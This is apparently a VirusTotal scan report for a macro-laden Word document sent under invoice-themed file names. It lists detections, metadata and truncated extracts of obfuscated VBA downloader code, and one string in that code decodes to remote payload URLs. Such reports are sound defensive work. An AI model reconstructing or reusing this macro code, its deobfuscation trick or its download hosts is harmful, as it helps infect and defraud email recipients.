Antivirus scan for bd2fd69860d2ea8547aa1541eefd19aafe545add9e1bc44767e9ce769d55c648 at 2018-05-07 19:35:07 UTC

Antivirus	Result	Update
AegisLab	Mo97.Downloader.Qv!c	20180507
Arcabit	HEUR.VBA.Trojan.e	20180507
Avast	MO97:Downloader-QV [Trj]	20180507
AVG	MO97:Downloader-QV [Trj]	20180507
AVware	LooksLike.Macro.Malware.k (v)	20180428
Baidu	VBA.Trojan-Downloader.Agent.cus	20180507
ESET-NOD32	VBA/TrojanDownloader.Agent.IBF	20180507
Ikarus	Win32.SuspectCrc	20180507
Kaspersky	HEUR:Trojan.Script.Agent.gen	20180507
MAX	malware (ai score=95)	20180507
McAfee	RDN/Generic Downloader.x	20180507
Microsoft	Trojan:Script/Cloxer.A!cl	20180507
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20180507
nProtect	Suspicious/W97M.Obfus.Gen	20180507
Qihoo-360	virus.office.qexvmc.1090	20180507
Rising	Trojan.Confusion!1.AD86 (CLASSIC)	20180507
TrendMicro	TROJ_FRS.VSN07E18	20180507
VIPRE	LooksLike.Macro.Malware.k (v)	20180507
ZoneAlarm by Check Point	HEUR:Trojan.Script.Agent.gen	20180507
Zoner	Probably W97Obfuscated	20180507
Ad-Aware		20180507
AhnLab-V3		20180507
Alibaba		20180507
ALYac		20180507
Antiy-AVL		20180507
Avast-Mobile		20180507
Avira (no cloud)		20180507
Babable		20180406
BitDefender		20180507
Bkav		20180504
CAT-QuickHeal		20180507
ClamAV		20180507
CMC		20180507
Comodo		20180507
CrowdStrike Falcon (ML)		20180418
Cybereason		None
Cylance		20180507
Cyren		20180507
DrWeb		20180507
eGambit		20180507
Emsisoft		20180507
Endgame		20180507
F-Prot		20180507
F-Secure		20180507
Fortinet		20180507
GData		20180507
Sophos ML		20180503
Jiangmin		20180507
K7AntiVirus		20180507
K7GW		20180507
Kingsoft		20180507
Malwarebytes		20180507
McAfee-GW-Edition		20180507
eScan		20180507
Palo Alto Networks (Known Signatures)		20180507
Panda		20180507
SentinelOne (Static ML)		20180225
Sophos AV		20180507
SUPERAntiSpyware		20180507
Symantec		20180507
Symantec Mobile Insight		20180505
Tencent		20180507
TheHacker		20180504
Trustlook		20180507
VBA32		20180507
ViRobot		20180507
Webroot		20180507
Yandex		20180506
Zillya		20180507

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-05-07 12:56:00

author

Kiregaceweco

title

Kiregaceweco

page_count

last_saved

2018-05-07 12:56:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Kiregace

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/DMkfQUaiOT

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/hdjcBZkpd

[+] Macros/VBA/nAfnuLjNHMHE

[+] Macros/VBA/rDGuMUwWj

[+] Macros/VBA/wrQXOmivkYFzp

[+] WordDocument

Macros and VBA code streams

[+] wrQXOmivkYFzp.cls Macros/VBA/wrQXOmivkYFzp 1718 bytes

[+] DMkfQUaiOT.bas Macros/VBA/DMkfQUaiOT 7810 bytes

Sub DNtkEp(ZitabI)
Set wsrqIo = wBAGsl
GtFYBZ = MBdrK
hWddk = DUbjsF + Atn(FEMtiM) + 6324 - 93791 / (37193 * Hex(oBaiCk))
NwwkBc = 44923 + WQiVi
End Sub
Function KwtIbvZOY()
On Error Resume Next
Set NTVTV = IzfHH
jpbJt = kjVtH
EcoWHv = bofai + Atn(OhjjO) + 37841 - 82387 / (55261 * Hex(vhvNWj))
uoUMaP = 86159 + mrjmf
Set KzZzHb = DuTIuI
bjrnS = lAXkVa
IDQuKu = TzIjKw + Atn(PkfWL) + 47122 - 22760 / (79779 * Hex(LSqBu))
cpihr = 36111 + iYwAjp
PBudPTUtD = AmFvzi("aYDa5t'+'SoTS7j.cfsaMT'+'2(S7jelWvRIFdaOWvRlnWW'+'vRoD'+'S7j.UYYMT8kK", 46069 - 46069 + 4 + 46069 - 46069, 46069 - 46069 + 61 + 46069 - 46069)
Set aHcUiV = rNJBX
uFcUt = JXTFdG
QFHYLr = NiDpW + Atn(YskbV) + 60747 - 38063 / (33 * Hex(ZviHz))
FHBzNv = 10752 + kpwJC
Set AapKk = hNZDZq
DFzHYL = bCffKE
GQbVYi = RlHaO + Atn(IrPfN) + 27848 - 70476 / (46487 * Hex(uLkpW))
wuKAjM = 52251 + ziBIFm
RwjNCZQk = AmFvzi("ck3FN+3FNen3FN('+'. = UYYMT2;'+'modna'+'r )3FNt3'+'F8@tn1", 10343 - 10343 + 6 + 10343 - 10343, 10343 - 10343 + 50 + 10343 - 10343)
Set qjJCi = mASwTC
WQkiLb = qzaiz
vSzLGi = vEibno + Atn(LurDM) + 20175 - 69918 / (50703 * Hex(zTwiTd))
GbFBoT = 5198 + qoQvR
Set DKpUjj = LBfiNn
vcTZI = zHoqz
ErskZO = EoFPzd + Atn(wvKMh) + 9028 - 92769 / (25250 * Hex(IDOmq))
wVwXjf = 9044 + RGPSj
ptnaSrWTw = AmFvzi("m0W3'+'FN@3FN(tilpS'+'.3FN'+'/dtVVs/m0,bv", 73781 - 73781 + 5 + 73781 - 73781, 73781 - 73781 + 34 + 73781 - 73781)
Set pNTwvc = wcJsA
fjjKcE = rkQct
sbtGRm = dVukS + Atn(Nhztpf) + 67277 - 78478 / (47958 * Hex(lvmNOr))
zqDNk = 49820 + VrGnM
Set bzWJL = BMlrE
WCnat = vEtsW
DNkcDi = TnpQCG + Atn(CFuHsj) + 20320 - 30186 / (65476 * Hex(fjksai))
jctGz = 78714 + JCKlN
CozlroMK = AmFvzi("dic9q'+'o'+'c.'+'anicileyu'+'b//:ptth'+'@/'+'sYjn/mo'+'c.'+'on'+'abrula'+'usiv/'+'/'+':pt'+'th@/8lgMSUR", 19072 - 19072 + 3 + 19072 - 19072, 19072 - 19072 + 96 + 19072 - 19072)
Set mkUuGq = mAqSn
qzWwot = ihZMs
QVzpV = BBHvM + Atn(lkYYim) + 53062 - 35703 / (35021 * Hex(bmEVsI))
FKICB = 48282 + oKUtli
Set qHzwW = IjIUZA
jZjBVj = DYsim
cbkDa = v [... continues ...]

[+] hdjcBZkpd.bas Macros/VBA/hdjcBZkpd 17943 bytes

Sub aaqfbQCwlUS()
On Error Resume Next
Set bakuG = cmXip
WaDCT = TXqRMR
aoSwi = QLJdaU + Atn(InFlf) + 8324 - 46562 / (48940 * Hex(FYwGp))
GiKNT = 68126 + UJqoEY
End Sub
Function XUITmBNMWk()
On Error Resume Next
Set MzdhQm = REmIsl
itzco = FbTMBT
Twvqzz = uIvQqC + Atn(odYFaz) + 22193 - 72175 / (30853 * Hex(MPiqld))
fwJMV = 17488 + ItIZZw
Set JiHlhj = DvrCZ
wVwiMi = avZwsk
HJsXi = AqoBb + Atn(DDCEDz) + 57024 - 79347 / (10459 * Hex(ZZrEw))
OEKsz = 21968 + uCTTS
PBudPTUtD = AmFvzi("aYDa5tpBzjr8kK", 35577 - 35577 + 4 + 35577 - 35577, 35577 - 35577 + 6 + 35577 - 35577)
Set GjuGla = YrVwOu
rjTji = sckqi
stHCkf = rwjiS + Atn(dKjXi) + 26297 - 57522 / (5382 * Hex(SKjnpK))
iwDYH = 65656 + QolRDD
Set vsBZSJ = wMIUXj
rcalli = CqtpE
DclEb = dAach + Atn(uksKw) + 23040 - 12211 / (91023 * Hex(XPKzOJ))
sCIjNo = 88199 + bDtJC
RwjNCZQk = AmFvzi("ckBESVsUU=%8@tn1", 31518 - 31518 + 6 + 31518 - 31518, 31518 - 31518 + 9 + 31518 - 31518)
Set Rztbqu = rthjJ
fMaFME = IYTzwF
VjsSws = GPRXXO + Atn(BJbAD) + 99597 - 27504 / (19553 * Hex(whFIa))
jvilEq = 14367 + OnQqY
Set sazCjw = GHiBW
iRFoi = Dbqlu
YGOjh = jfbkVj + Atn(bQPit) + 93038 - 79953 / (82631 * Hex(wSAII))
pCCpDv = 21053 + JaatUq
ptnaSrWTw = AmFvzi("m0WKEWC=%zP0,bv", 93746 - 93746 + 5 + 93746 - 93746, 93746 - 93746 + 8 + 93746 - 93746)
Set zvWXCj = swpFQV
wfYji = ZijjVQ
GITDUz = AXilGO + Atn(JFzzf) + 79045 - 64328 / (25092 * Hex(BMmBCP))
pClIj = 70677 + lkQuIY
Set VMqiBS = LwYBY
IhEvuo = mnbvh
Fpmji = pijsYj + Atn(jwJbIS) + 64250 - 73624 / (92964 * Hex(LorJL))
ikuBzM = 57299 + RqaiC
CozlroMK = AmFvzi("dic9qtes&&s=UR", 1963 - 1963 + 3 + 1963 - 1963, 1963 - 1963 + 7 + 1963 - 1963)
Set pfMFH = cLTcz
JSasq = djAId
rUVkKS = wjXijc + Atn(BvSWRS) + 2757 - 62890 / (5235 * Hex(zZzIF))
YjCiN = 74506 + rBAkBh
Set PELnA = uOUEi
sicrpr = snLlP
QqTCa = KKlBjX + Atn(RHGUWE) + 85832 - 93841 / (78076 * Hex(YrpkGz))
DSvajh = 51154 + tOXVG
UzMPEt = AmFvzi("oKiiSb%sthMo%ZQ", 73883 - 73883 + 3 + 73883 - 73883, 73883 - 73883 + 6 + 73883 - 73883)
Set tTOZJl = [... continues ...]

[+] rDGuMUwWj.bas Macros/VBA/rDGuMUwWj 935 bytes

obfuscated run-file

[+] nAfnuLjNHMHE.bas Macros/VBA/nAfnuLjNHMHE 7332 bytes

obfuscated

Function rjDkL(whScM)
Set HjkZXt = tRAsa
TPjnto = GfMUA
YzmDUX = Cniwo + Atn(SkLAqn) + 55962 - 76228 / (83855 * Hex(RuZomd))
UQYbVZ = 13309 + jUHtj
Set izJVpv = VjXIjC
JvjhZ = KiPIw
EmJTV = LKiuQS + Atn(izwjAT) + 78968 - 43803 / (72289 * Hex(klaUV))
AjAZdq = 84553 + NCOVs
Set OfQkqN = wOoHo
hZhvZ = kiKPsT
FmWwFT = zqEUqi + Atn(NCVLS) + 78537 - 46010 / (20462 * Hex(fHpfIE))
QXQwI = 49981 + PjnKTq
Set MEuiW = pDaiUu
qrQoWu = owZjzo
FciiE = RSCuw + Atn(XNMzli) + 25415 - 50115 / (72756 * Hex(TznYC))
QiOjiG = 69486 + wzPaiX
End Function
Function VrkXab(nCmNoh)
Set frfRl = XfNDR
lBmOmr = izICB
EQqMwU = CSQIk + Atn(zURqd) + 63120 - 11089 / (93394 * Hex(wBnzWZ))
KXodoj = 73230 + TQjzaS
Set ddduuR = iVvjN
oYzzs = ItTHU
ijWMz = VYNYK + Atn(cfjCs) + 36069 - 64758 / (16614 * Hex(TsuTl))
WJqJW = 17279 + LhkRYp
Set pEQOb = NXFBB
LwOrc = LAwOXO
NwUwSb = swdOcj + Atn(QtzEpI) + 94455 - 94668 / (60113 * Hex(qIYNoL))
hBaNXt = 46460 + aHjNVz
Set wBuHz = hGqQT
IJDjD = BhaFit
bRPBQ = KwbMXS + Atn(MRzvjz) + 7420 - 41965 / (30509 * Hex(XadbTS))
qWBGXs = 35801 + ajJaj
End Function
Function AmFvzi(ByVal oMhtstCSXV As String, QqOafVTh, jzUEbDNIUZdP)
On Error Resume Next
Set fNVZki = WjpiLo
amIqim = ARbpY
rIRuvj = rNIBik + Atn(TpMcL) + 8466 - 50652 / (58013 * Hex(XSwtbf))
ukLBnN = 29876 + jcIBMi
zHtVuYKjWVzJ = IudBLE + Mid(dUGMUtczpDLRNQ + StrReverse(oMhtstCSXV) + jWGaStjwZ, JQKCQZUr + QqOafVTh + HruasVSjnEpvQr, jzUEbDNIUZdP) + LGvlmEuYhvLd
Set zYdrZ = JjovN
zJvrj = sYZrK
jFqMSN = hsAmOa + Atn(WziEWK) + 64812 - 63438 / (74025 * Hex(wjzZTE))
FOzITa = 92506 + aQjLz
AmFvzi = hQlztqUUz + zHtVuYKjWVzJ + CTvOlPFNoIjzbp
Set Ymrvt = VnYQQ
ZZNXl = CGAfh
LLSXrp = pwzUEd + Atn(FvjjW) + 95354 - 41350 / (7556 * Hex(nakvkY))
CtEPki = 65403 + vijaPc
Set JuNJH = UIkGH
izHuwR = vbzOn
NikoO = oCiQpi + Atn(RJhlUI) + 57064 - 3514 / (5907 * Hex(oomIC))
iJfZlt = 82154 + UVLSdw
End Function
Function RMVACN(fFJVKh)
Set zcmlVE = KIpYT
RwzKYG = XcQIz
odaPP = IpUtZh + Atn(rYHDj) + 54025 - 68690 / (30249 * Hex(jIzzD))
XX [... continues ...]

ExifTool file metadata

File identification

MD5 80a3a0c4f11dade4db5cd289633f84d6

SHA1 a00938b0e3b7dacd10642944b85f14b62a36b606

SHA256 bd2fd69860d2ea8547aa1541eefd19aafe545add9e1bc44767e9ce769d55c648

ssdeep

3072:tCx1FZzJznxU2Eb0fGQz1eFQQbzkwMRFzKabTz:tCtBUJbdQzUMRBKaz

File size 165.0 KB ( 168960 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Kiregaceweco, Subject: Kiregace, Author: Kiregaceweco, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Sun May 06 11:56:00 2018, Last Saved Time/Date: Sun May 06 11:56:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-05-07 12:42:20 UTC ( 9 months, 2 weeks ago )

Last submission 2018-05-17 14:41:21 UTC ( 9 months, 1 week ago )

File names

Outstanding Invoices.doc
Summit Companies Invoice #97133500.doc
Invoice Number 94916.doc
Scan.doc
0 Past Due Invoices.doc
Invoice Number 62799.doc
Question.doc
Inv 40928 - PO #7H805244.doc
Summit Companies Invoice #5249367.doc
Paid Invoices.doc
Service Report (3406).doc
2 Past Due Invoices.doc
Invoice 7285547 May.doc
Fwd: ACH form.doc
Service Report (7694).doc
Invoice.doc
Invoices Overdue.doc
Summit Companies Invoice #51862248.doc
Invoice 56857559 May.doc
New order.doc
Summit Companies Invoice #4215854.doc
8 Past Due Invoices.doc
Service Report (2977).doc
Need to send the attachment.doc
Invoice 2803852 May.doc

SHA256:	bd2fd69860d2ea8547aa1541eefd19aafe545add9e1bc44767e9ce769d55c648
Detection ratio:	20 / 58
Analysis date:	2018-05-07 19:35:07 UTC ( 9 months, 2 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in